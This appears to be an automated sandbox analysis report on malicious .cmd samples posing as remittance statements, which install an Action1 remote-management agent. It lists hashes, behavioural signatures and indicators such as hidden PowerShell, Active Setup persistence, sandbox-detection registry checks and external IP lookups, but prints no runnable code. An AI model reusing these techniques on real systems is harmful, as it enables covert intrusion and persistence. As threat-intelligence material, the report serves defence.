Analysis
- max time kernel
298s - max time network
279s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
11/05/2026, 09:23
Static task
static1
Behavioral task
behavioral1
Sample
Remittance/Invoice_02901.cmd
Resource
win10v2004-20260130-en
windows10-2004-x64
26 signatures
300 seconds
Behavioral task
behavioral2
Sample
Remittance/Invoice_02901.cmd
Resource
win11-20260130-en
windows11-21h2-x64
28 signatures
300 seconds
Behavioral task
behavioral3
Sample
Remittance/Statement.cmd
Resource
win10v2004-20260130-en
windows10-2004-x64
27 signatures
300 seconds
Behavioral task
behavioral4
Sample
Remittance/Statement.cmd
Resource
win11-20260130-en
windows11-21h2-x64
28 signatures
300 seconds
General
- Target Remittance/Statement.cmd
- Size 1KB
- Sample260511-lcfevsd19s
- SHA256 e954616c5b469baf4350b1fe43803cb91c9b8dc35a3a90a4a4e1f8e7d729b007
- MD5 bb9dae4911183126b57542b83651cb4c
- SHA1 4f711c6d3bd62c252e0fc9d5b7e70639e3644643
- SHA512 1a94d25d1950c2c28c3104b7a89d9d118b46febcc487992556c9d9fe7fc9293b4da83dcbc1219ee70a01d29f4134e800093a19d6b8989091c5d77aa9db2820e9
- TLSH T1513100E12465381DDA279A50C80A03B2E7C26711CB013ADFB0E8E194BE057D5CBC7D8D
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4652 powershell.exe 18 4284 msiexec.exe 20 4284 msiexec.exe 22 4284 msiexec.exe 71 4048 powershell.exe 73 4048 powershell.exe 75 4048 powershell.exe 79 1668 powershell.exe 81 1668 powershell.exe - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs
Run Powershell and hide display window.
pid Process 4652 powershell.exe 3916 powershell.exe 3920 powershell.exe 4820 powershell.exe 4192 powershell.exe 3168 powershell.exe 4152 powershell.exe 1184 powershell.exe 2712 powershell.exe 3480 powershell.exe 4048 powershell.exe 1668 powershell.exe 1164 powershell.exe 688 powershell.exe 3868 powershell.exe 1344 powershell.exe 1844 powershell.exe 2496 powershell.exe 3376 powershell.exe 1920 powershell.exe 4140 powershell.exe 1036 powershell.exe 552 powershell.exe 3148 powershell.exe 3152 powershell.exe 3752 powershell.exe 4200 powershell.exe 4292 powershell.exe 4136 powershell.exe 2696 powershell.exe 2728 powershell.exe 1140 powershell.exe 2236 powershell.exe 436 powershell.exe 1352 powershell.exe 3428 powershell.exe 1852 powershell.exe 3968 powershell.exe 3336 powershell.exe 940 powershell.exe 2148 powershell.exe 3784 powershell.exe 2856 powershell.exe 4652 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 3924 action1_agent.exe 3868 action1_agent.exe 744 action1_agent.exe 2612 action1_agent.exe - Loads dropped DLL 4 IoCs
pid Process 2628 MsiExec.exe 2628 MsiExec.exe 2628 MsiExec.exe 4520 MsiExec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: explorer.exe File opened (read-only) \??\A: msiexec.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 80 ifconfig.me 81 ifconfig.me - Drops file in System32 directory 43 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Drops file in Windows directory 37 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI46E9.tmp msiexec.exe File created C:\Windows\Action1\first_install.tmp action1_agent.exe File created C:\Windows\Action1\agent_downgrade.version_pair.tmp action1_agent.exe File created C:\Windows\Installer\e584110.msi msiexec.exe File opened for modification C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon msiexec.exe File created C:\Windows\Action1\datasource_data\1000.poll.tmp action1_agent.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{A7C9C264-EAE3-44C5-83B2-E581E7FB8569} msiexec.exe File created C:\Windows\Action1\sas.dll msiexec.exe File created C:\Windows\Action1\action1_agent.exe msiexec.exe File created C:\Windows\Action1\action1_agent.exe.update_state action1_agent.exe File created C:\Windows\Action1\action1_agent.exe.connection action1_agent.exe File created C:\Windows\Action1\advanced_settings.json.tmp action1_agent.exe File opened for modification C:\Windows\Installer\e58410b.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI4758.tmp msiexec.exe File created C:\Windows\Action1\previousUser.txt powershell.exe File created C:\Windows\Action1\datasource_data\1004.poll.tmp action1_agent.exe File created C:\Windows\Installer\e58410b.msi msiexec.exe File created C:\Windows\Action1\7z.dll msiexec.exe File opened for modification C:\Windows\Installer\MSI493E.tmp msiexec.exe File created C:\Windows\Action1\rules.json action1_agent.exe File created C:\Windows\Action1\datasource_data\1008.poll.tmp action1_agent.exe File created C:\Windows\Action1\rule_data\1008.suppress action1_agent.exe File created C:\Windows\Action1\rule_data\1000.suppress action1_agent.exe File created C:\Windows\Action1\rule_data\1004.suppress action1_agent.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI4561.tmp msiexec.exe File created C:\Windows\Action1\action1_remote.exe msiexec.exe File created C:\Windows\Installer\wix{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Action1\logs\action1_log_2026-05-11_10-23-24~3924.log action1_agent.exe File created C:\Windows\Action1\action1_agent.exe.instance_lock action1_agent.exe File created C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon msiexec.exe File created C:\Windows\Action1\schedule.json action1_agent.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI464C.tmp msiexec.exe File created C:\Windows\Action1\what_is_this.txt action1_agent.exe File opened for modification C:\Windows\Installer\MSI48B0.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe - Checks SCSI registry key(s) 3 TTPs 58 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe - Kills process with taskkill 1 IoCs
pid Process 1424 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri\1dc91804c59e45f action1_agent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created 